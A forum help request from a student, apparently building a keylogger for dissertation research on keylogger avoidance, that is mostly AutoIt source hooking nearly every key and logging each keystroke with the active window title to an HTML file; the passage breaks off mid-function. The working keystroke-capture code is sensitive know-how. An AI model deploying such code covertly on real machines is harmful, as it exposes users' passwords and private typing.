Jump to content

Strange detections from HotKeySet - really appreciate help


Garbit
 Share

Recommended Posts

Hi there,

In short im studying for a degree in computer science and as part of my dissertation i've planned on investigating secure methods of inputing data into the keyboard and keylogger avoidence. As such im making a keylogger so as to test my various methods however i've come to a grinding halt.

My script uses hotkeyset's to detect the keypress and then calls a function dependant on keypress. Each keypress is contatonated to the $log variable which is then written to a html file.

When i have been using HotKeySet("ASC insertnumberhere") it detects my holding of the shift key plus the letter a as an ascii command and uses any ascii command that i have in my program.

i've tried to limit the hotkeyset ascii commands to various different ones and single ones as well. I've even commented out the HotKeySet("+{a}") and it still fires any old ascii command when i use shift + a (no other shift + anycharacter is effected)

I need some closure because im going insane ;)

All help very much appreciated

;#NoTrayIcon
; Press Esc to terminate script, Pause/Break to "pause"
#include <Misc.au3>  

Global $paused
Global $log
HotKeySet("{PAUSE}", "pauseOnOff")
HotKeySet("{ESC}", "killProcess")
HotKeySet("+!d", "ShowMessage") ;Shift-Alt-d
;HotKeys for a-z and A-Z
HotKeySet("{a}", "_a")
HotKeySet("+{a}", "_sA")
HotKeySet("{b}", "_b")
HotKeySet("+{b}", "_sB")
HotKeySet("{c}", "_c")
HotKeySet("+{c}", "_sC")
HotKeySet("{d}", "_d")
HotKeySet("+{d}", "_sD")
HotKeySet("{e}", "_e")
HotKeySet("+{e}", "_sE")
HotKeySet("{f}", "_f")
HotKeySet("+{f}", "_sF")
HotKeySet("{g}", "_g")
HotKeySet("+{g}", "_sG")
HotKeySet("{h}", "_h")
HotKeySet("+{h}", "_sH")
HotKeySet("{i}", "_i")
HotKeySet("+{i}", "_sI")
HotKeySet("{j}", "_j")
HotKeySet("+{j}", "_sJ")
HotKeySet("{k}", "_k")
HotKeySet("+{k}", "_sK")
HotKeySet("{l}", "_l")
HotKeySet("+{l}", "_sL")
HotKeySet("{m}", "_m")
HotKeySet("+{m}", "_sM")
HotKeySet("{n}", "_n")
HotKeySet("+{n}", "_sN")
HotKeySet("{o}", "_o")
HotKeySet("+{o}", "_sO")
HotKeySet("{p}", "_p")
HotKeySet("+{p}", "_sP")
HotKeySet("{q}", "_q")
HotKeySet("+{q}", "_sQ")
HotKeySet("{r}", "_r")
HotKeySet("+{r}", "_sR")
HotKeySet("{s}", "_s")
HotKeySet("+{s}", "_sS")
HotKeySet("{t}", "_t")
HotKeySet("+{t}", "_sT")
HotKeySet("{u}", "_u")
HotKeySet("+{u}", "_sU")
HotKeySet("{v}", "_v")
HotKeySet("+{v}", "_sV")
HotKeySet("{w}", "_w")
HotKeySet("+{w}", "_sW")
HotKeySet("{x}", "_x")
HotKeySet("+{x}", "_sX")
HotKeySet("{y}", "_y")
HotKeySet("+{y}", "_sY")
HotKeySet("{z}", "_z")
HotKeySet("+{z}", "_sZ")

;keyboard buttons
HotKeySet("{SPACE}", "_space")
HotKeySet("{TAB}", "_tab")
HotKeySet("{ENTER}", "_enter")
HotKeySet("{ALT}", "_alt")
HotKeySet("{BACKSPACE}", "_backSpace")
HotKeySet("{DELETE}", "_delete")
HotKeySet("{UP}", "_up")
HotKeySet("{DOWN}", "_down")
HotKeySet("{LEFT}", "_left")
HotKeySet("{RIGHT}", "_right")
HotKeySet("{HOME}", "_home")
HotKeySet("{END}", "_end")
;HotKeySet("{ESCAPE}", "_escape")
HotKeySet("{INSERT}", "_insert")
HotKeySet("{PGUP}", "_pgUp")
HotKeySet("{PGDN}", "_pgDown")
HotKeySet("{PRINTSCREEN}", "_printScreen")
;HotKeySet("{LWIN}", "_lWin")
;HotKeySet("{RWIN}", "_rWin")
HotKeySet("{NUMLOCK}", "_numLock")
HotKeySet("{BREAK}", "_break")
HotKeySet("{PAUSE}", "_pause")
HotKeySet("{CAPSLOCK}", "_capsLock")
;numpad keys
HotKeySet("{NUMPAD0}", "_numPad0")
HotKeySet("{NUMPAD1}", "_numPad1")
HotKeySet("{NUMPAD2}", "_numPad2")
HotKeySet("{NUMPAD3}", "_numPad3")
HotKeySet("{NUMPAD4}", "_numPad4")
HotKeySet("{NUMPAD5}", "_numPad5")
HotKeySet("{NUMPAD6}", "_numPad6")
HotKeySet("{NUMPAD7}", "_numPad7")
HotKeySet("{NUMPAD8}", "_numPad8")
HotKeySet("{NUMPAD9}", "_numPad9")
HotKeySet("{NUMPADMULT}", "_numPadMult")
HotKeySet("{NUMPADADD}", "_numPadAdd")
HotKeySet("{NUMPADSUB}", "_numPadSub")
HotKeySet("{NUMPADDIV}", "_numPadDiv")
HotKeySet("{NUMPADDOT}", "_numPadDot")
;HotKeySet("{NUMPADENTER}", "_numPadEnter")
;HotKeySet("{LALT}", "_lAlt")
;HotKeySet("{RALT}", "_rAlt")
;HotKeySet("{LCTRL}", "_lCtrl")
;HotKeySet("{RCTRL}", "_rCtrl")
;HotKeySet("{ASC 015}", "_ShiftIn")
;HotKeySet("{ASC 014}", "_ShiftOut")
;HotKeySet("{SLEEP}", "_sleep")
;HotKeySet("{ALTDOWN}", "_altDown")
;HotKeySet("{CTRLDOWN}", "_cntrlDown")
;HotKeySet("{LWINDOWN}", "_lWinDown")
;HotKeySet("{RWINDOWN}", "_rWinDown")

;symbols, brackets etc
HotKeySet("{ASC 033}", "_sExclam")
HotKeySet("{ASC 035}", "_sHash")
HotKeySet("{ASC 043}", "_sPlus")
HotKeySet("{ASC 136}", "_sUpS")
HotKeySet("{ASC 123}", "_sCurlR")
HotKeySet("{ASC 125}", "_sCurlL")
HotKeySet("{ASC 064}", "_sAt")
HotKeySet("{ASC 034}", "_sSpeech")
HotKeySet("{ASC 036}", "_sDollar")
HotKeySet("{ASC 037}", "_sPercent")
HotKeySet("{ASC 038}", "_sAnd")
HotKeySet("{ASC 039}", "_sSingleSpeech")
HotKeySet("{ASC 040}", "_sBracketR")
HotKeySet("{ASC 041}", "_sBracketL")
HotKeySet("{ASC 058}", "_sColon")
HotKeySet("{ASC 059}", "_sSemiColon")
HotKeySet("{ASC 091}", "_sSquareBracketR")
HotKeySet("{ASC 044}", "_sComma")
HotKeySet("{ASC 060}", "_sTriangleBracketR")
HotKeySet("{ASC 092}", "_sBackSlash")
HotKeySet("{ASC 124}", "_sLine")
HotKeySet("{ASC 045}", "_sDash")
HotKeySet("{ASC 061}", "_sEquals")
HotKeySet("{ASC 093}", "_sSquareBracketL")
HotKeySet("{ASC 046}", "_sFullStop")
HotKeySet("{ASC 062}", "_sTriangleBracketL")
HotKeySet("{ASC 126}", "_sTilde")
HotKeySet("{ASC 047}", "_sForwardSlash")
HotKeySet("{ASC 063}", "_sQuestionMark")
HotKeySet("{ASC 095}", "_sUnderScore")

;Function Keys
HotKeySet("{F1}", "_f1")
HotKeySet("{F2}", "_f2")
HotKeySet("{F3}", "_f3")
HotKeySet("{F4}", "_f4")
HotKeySet("{F5}", "_f5")
HotKeySet("{F6}", "_f6")
HotKeySet("{F7}", "_f7")
HotKeySet("{F8}", "_f8")
HotKeySet("{F9}", "_f9")
HotKeySet("{F10}", "_f10")
HotKeySet("{F11}", "_f11")
HotKeySet("{F12}", "_f12")


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Create text file for later editing
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
$currentDirectory = @ScriptDir
;$date=" " & @YEAR & "/" & @MON & "/" & @MDAY & " - " & @HOUR & ":" & @MIN & ":" & @SEC
$date=@Year&"-"&@mon&"-"&@mday&" at "&@HOUR & "-" &@MIN & "-" &@SEC
$textFileDirectory = FileOpen($currentDirectory&"\keylogger-Captured-Text at "&$date&".htm", 1)
    
;ensure that text file has been created successfully and exit if it and error if it fails
If $textFileDirectory = -1 Then
    MsgBox(0, "Error", "Unable to open file.")
    Exit
EndIf
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Body of the script will continue to run until stopped
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

writeToLogHeader("<table align=center> <th colspan=2> Key Logged Activities </th> <tr><td align=center> Key Pressed </td><td align=center> Window Location </td></tr>")
While 1
    ;Show user that keylogger Active
    ToolTip('Keylogger Active and capturing keystrokes',0,0)
    Sleep(1000)
    $date=@Year&"-"&@mon&"-"&@mday&" at "&@HOUR & "-" &@MIN & "-" &@SEC
WEnd

Func _a()
    HotKeySet ("{a}")
    send("a")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> a </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{a}" , "_a")
EndFunc

Func _sA()
    HotKeySet ("+{a}")
    send("+{a}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> A </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{a}" , "_sA")
EndFunc


Func _b()
    HotKeySet ("{b}")
    send("{b}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> b </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{b}" , "_b")
EndFunc

Func _sB()
    HotKeySet ("+{b}")
    send("+{b}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> B </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{b}" , "_sB")
EndFunc

Func _c()
    HotKeySet ("{c}")
    send("{c}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> c </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{c}" , "_c")
EndFunc

Func _sC()
    HotKeySet ("+{c}")
    send("+{c}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> C </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{c}" , "_sC")
EndFunc

Func _d()
    HotKeySet ("{d}")
    send("{d}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> d </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{d}" , "_d")
EndFunc

Func _sD()
    HotKeySet ("+{d}")
    send("+{d}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> D </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{d}" , "_sD")
EndFunc

Func _e()
    HotKeySet ("{e}")
    send("{e}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> e </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{e}" , "_e")
EndFunc

Func _sE()
    HotKeySet ("+{e}")
    send("+{e}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> E </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{e}" , "_sE")
EndFunc

Func _f()
    HotKeySet ("{f}")
    send("{f}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> f </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{f}" , "_f")
EndFunc

Func _sF()
    HotKeySet ("+{f}")
    send("+{f}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{f}" , "_sF")
EndFunc

Func _g()
    HotKeySet ("{g}")
    send("{g}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> g </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{g}" , "_g")
EndFunc

Func _sG()
    HotKeySet ("+{g}")
    send("+{g}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> G </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{g}" , "_sG")
EndFunc

Func _h()
    HotKeySet ("{h}")
    send("{h}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> h </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{h}" , "_h")
EndFunc

Func _sH()
    HotKeySet ("+{h}")
    send("+{h}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> H </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{h}" , "_sH")
EndFunc

Func _i()
    HotKeySet ("{i}")
    send("{i}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> i </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{i}" , "_i")
EndFunc

Func _sI()
    HotKeySet ("+{i}")
    send("+{i}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> I </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{i}" , "_sI")
EndFunc

Func _j()
    HotKeySet ("{j}")
    send("{j}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> j </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{j}" , "_j")
EndFunc

Func _sJ()
    HotKeySet ("+{j}")
    send("+{j}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> J </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{j}" , "_sJ")
EndFunc

Func _k()
    HotKeySet ("{k}")
    send("{k}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> k </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{k}" , "_k")
EndFunc

Func _sK()
    HotKeySet ("+{k}")
    send("+{k}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> K </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{k}" , "_sK")
EndFunc

Func _l()
    HotKeySet ("{l}")
    send("{l}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> l </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{l}" , "_l")
EndFunc

Func _sL()
    HotKeySet ("+{l}")
    send("+{l}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> L </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{l}" , "_sL")
EndFunc

Func _m()
    HotKeySet ("{m}")
    send("{m}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> m </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{m}" , "_m")
EndFunc

Func _sM()
    HotKeySet ("+{m}")
    send("+{m}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> M </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{m}" , "_sM")
EndFunc

Func _n()
    HotKeySet ("{n}")
    send("{n}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> n </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{n}" , "_n")
EndFunc

Func _sN()
    HotKeySet ("+{n}")
    send("+{n}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> N </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{n}" , "_sN")
EndFunc

Func _o()
    HotKeySet ("{o}")
    send("{o}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> o </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{o}" , "_o")
EndFunc

Func _sO()
    HotKeySet ("+{o}")
    send("+{o}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> O </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{o}" , "_sO")
EndFunc

Func _p()
    HotKeySet ("{p}")
    send("{p}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> p </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{p}" , "_p")
EndFunc

Func _sP()
    HotKeySet ("+{p}")
    send("+{p}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> P </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{p}" , "_sP")
EndFunc

Func _q()
    HotKeySet ("{q}")
    send("{q}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> q </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{q}" , "_q")
EndFunc

Func _sQ()
    HotKeySet ("+{q}")
    send("+{q}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> Q </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{q}" , "_sQ")
EndFunc

Func _r()
    HotKeySet ("{r}")
    send("{r}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> r </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{r}" , "_r")
EndFunc

Func _sR()
    HotKeySet ("+{r}")
    send("+{r}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> R </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{r}" , "_sR")
EndFunc

Func _s()
    HotKeySet ("{s}")
    send("{s}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> s </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{s}" , "_s")
EndFunc

Func _sS()
    HotKeySet ("+{s}")
    send("+{s}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> S </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{s}" , "_sS")
EndFunc

Func _t()
    HotKeySet ("{t}")
    send("{t}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> t </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{t}" , "_t")
EndFunc

Func _sT()
    HotKeySet ("+{t}")
    send("+{t}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> T </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{t}" , "_sT")
EndFunc

Func _u()
    HotKeySet ("{u}")
    send("{u}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> u </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{u}" , "_u")
EndFunc

Func _sU()
    HotKeySet ("+{u}")
    send("+{u}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> U </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{u}" , "_sU")
EndFunc

Func _v()
    HotKeySet ("{v}")
    send("{v}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> v </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{v}" , "_v")
EndFunc

Func _sV()
    HotKeySet ("+{v}")
    send("+{v}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> V </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{v}" , "_sV")
EndFunc

Func _w()
    HotKeySet ("{w}")
    send("{w}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> w </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{w}" , "_w")
EndFunc

Func _sW()
    HotKeySet ("+{w}")
    send("+{w}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> W </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{w}" , "_sW")
EndFunc

Func _x()
    HotKeySet ("{x}")
    send("{x}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> x </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{x}" , "_x")
EndFunc

Func _sX()
    HotKeySet ("+{x}")
    send("+{x}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> X </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{x}" , "_sX")
EndFunc

Func _y()
    HotKeySet ("{y}")
    send("{y}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> y </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{y}" , "_y")
EndFunc

Func _sY()
    HotKeySet ("+{y}")
    send("+{y}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> Y </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{y}" , "_sY")
EndFunc

Func _z()
    HotKeySet ("{z}")
    send("{z}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> z </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{z}" , "_z")
EndFunc

Func _sZ()
    HotKeySet ("+{z}")
    send("+{z}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> Z </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ( "+{z}" , "_sZ")
EndFunc

;Functions for other keys
Func _space()
    HotKeySet ("{SPACE}")
    send("{SPACE}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> SPACE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{SPACE}" , "_space")
EndFunc

Func _tab()
    HotKeySet ("{TAB}")
    send("{TAB}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> TAB </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{TAB}" , "_tab")
EndFunc

Func _enter()
    HotKeySet ("{ENTER}")
    send("{ENTER}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ENTER </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ENTER}" , "_enter")
EndFunc

Func _alt()
    HotKeySet ("{ALT}")
    send("{ALT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ALT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ALT}" , "_alt")
EndFunc

Func _backSpace()
    HotKeySet ("{BACKSPACE}")
    send("{BACKSPACE}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> BACKSPACE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{BACKSPACE}" , "_backSpace")
EndFunc

Func _delete()
    HotKeySet ("{DELETE}")
    send("{DELETE}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> DELETE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{DELETE}" , "_delete")
EndFunc

Func _up()
    HotKeySet ("{UP}")
    send("{UP}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> UP </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{UP}" , "_up")
EndFunc

Func _down()
    HotKeySet ("{DOWN}")
    send("{DOWN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> DOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{DOWN}" , "_down")
EndFunc

Func _left()
    HotKeySet ("{LEFT}")
    send("{LEFT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> LEFT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{LEFT}" , "_left")
EndFunc

Func _right()
    HotKeySet ("{RIGHT}")
    send("{RIGHT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> RIGHT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{RIGHT}" , "_right")
EndFunc

Func _home()
    HotKeySet ("{HOME}")
    send("{HOME}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> HOME </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{HOME}" , "_home")
EndFunc

Func _end()
    HotKeySet ("{END}")
    send("{END}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> END </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{END}" , "_end")
EndFunc

Func _escape()
    HotKeySet ("{ESCAPE}")
    send("{ESCAPE}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ESCAPE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ESCAPE}" , "_escape")
EndFunc

Func _insert()
    HotKeySet ("{INSERT}")
    send("{INSERT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> INSERT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{INSERT}" , "_insert")
EndFunc

Func _pgUp()
    HotKeySet ("{PGUP}")
    send("{PGUP}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> PGUP </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{PGUP}" , "_pgUp")
EndFunc

Func _pgDown()
    HotKeySet ("{PGDN}")
    send("{PGDN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> PGDN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{PGDN}" , "_pgDown")
EndFunc

Func _printScreen()
    HotKeySet ("{PRINTSCREEN}")
    send("{PRINTSCREEN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> PRINTSCREEN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{PRINTSCREEN}" , "_printScreen")
EndFunc

Func _lWin()
    HotKeySet ("{LWIN}")
    send("{LWIN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> LWIN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{LWIN}" , "_lWin")
EndFunc

Func _rWin()
    HotKeySet ("{RWIN}")
    send("{RWIN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> RWIN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{RWIN}" , "_rWin")
EndFunc

Func _numLock()
    HotKeySet ("{NUMLOCK}")
    send("{NUMLOCK}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMLOCK </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMLOCK}" , "_numLock")
EndFunc

Func _break()
    HotKeySet ("{BREAK}")
    send("{BREAK}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> BREAK </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{BREAK}" , "_break")
EndFunc

Func _pause()
    HotKeySet ("{PAUSE}")
    send("{PAUSE}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> PAUSE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{PAUSE}" , "_pause")
EndFunc

Func _capsLock()
    HotKeySet ("{CAPSLOCK}")
    send("{CAPSLOCK}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> CAPSLOCK </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{CAPSLOCK}" , "_capsLock")
EndFunc

;numpad keys
Func _numPad0()
    HotKeySet ("{NUMPAD0}")
    send("{NUMPAD0}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD0 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD0}" , "_numPad0")
EndFunc

Func _numPad1()
    HotKeySet ("{NUMPAD1}")
    send("{NUMPAD1}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD1 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD1}" , "_numPad1")
EndFunc

Func _numPad2()
    HotKeySet ("{NUMPAD2}")
    send("{NUMPAD2}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD2 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD2}" , "_numPad2")
EndFunc

Func _numPad3()
    HotKeySet ("{NUMPAD3}")
    send("{NUMPAD3}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD3 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD3}" , "_numPad3")
EndFunc

Func _numPad4()
    HotKeySet ("{NUMPAD4}")
    send("{NUMPAD4}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD4 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD4}" , "_numPad4")
EndFunc

Func _numPad5()
    HotKeySet ("{NUMPAD5}")
    send("{NUMPAD5}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD5 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD5}" , "_numPad5")
EndFunc

Func _numPad6()
    HotKeySet ("{NUMPAD6}")
    send("{NUMPAD6}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD6 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD6}" , "_numPad6")
EndFunc

Func _numPad7()
    HotKeySet ("{NUMPAD7}")
    send("{NUMPAD7}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD7 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD7}" , "_numPad7")
EndFunc

Func _numPad8()
    HotKeySet ("{NUMPAD8}")
    send("{NUMPAD8}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD8 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD8}" , "_numPad8")
EndFunc

Func _numPad9()
    HotKeySet ("{NUMPAD9}")
    send("{NUMPAD9}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPAD9 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPAD9}" , "_numPad9")
EndFunc

Func _numPadMult()
    HotKeySet ("{NUMPADMULT}")
    send("{NUMPADMULT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPADMULT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
